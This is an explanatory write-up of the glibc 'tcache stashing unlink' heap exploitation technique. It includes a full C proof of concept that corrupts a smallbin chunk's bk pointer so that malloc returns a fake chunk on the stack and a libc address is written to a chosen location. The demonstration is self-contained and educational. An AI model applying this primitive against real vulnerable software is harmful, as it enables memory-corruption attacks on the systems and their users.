The tcache stashing unlink attack exploits the mechanism by which glibc moves chunks from the smallbin into the tcache. When tcache bins have room (< 7 chunks), glibc will “stash” smallbin chunks into the tcache. By corrupting the bk pointer of a smallbin chunk, an attacker can:
Make malloc return an arbitrary pointer
Write a libc address to an arbitrary location
This technique leverages the tcache_stashing functionality where smallbin chunks are transferred to tcache bins when allocating from smallbins. The stashing process uses unlink-style operations that can be exploited.
calloc() is special because it bypasses tcache initially and goes directly to smallbin/largebin. This is necessary to trigger the stashing behavior even when tcache has free chunks.
#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsigned long)(&stack_var[2]); printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);// size > 0x90 //now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); malloc(0x90); malloc(0x90); printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); calloc(1,0x90); printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); assert(target == &stack_var[2]); return 0;}
unsigned long stack_var[0x10] = {0};stack_var[3] = (unsigned long)(&stack_var[2]); // fake_chunk->bk
Fake chunk layout:
stack_var[0] -> (unused)stack_var[1] -> (unused)stack_var[2] -> fd pointer (will point to next tcache chunk)stack_var[3] -> bk pointer (set to &stack_var[2] to bypass check)stack_var[4] -> Will receive libc address!
The fake chunk’s bk pointer must point to a writable address because glibc will execute:
bck->fd = bin; // Writes to *(bk + 0x10)
We set bk = &stack_var[2], so the write goes to stack_var[4].
// Allocate 9 chunksfor(int i = 0; i < 9; i++) { chunk_lis[i] = malloc(0x90);}// Free 7 chunks to fill tcache (max 7 per bin)for(int i = 3; i < 9; i++) { free(chunk_lis[i]);}// Free one more for tcache (now full with 7 chunks)free(chunk_lis[1]);// Free 2 more - these go to unsorted bin (tcache is full)free(chunk_lis[0]);free(chunk_lis[2]);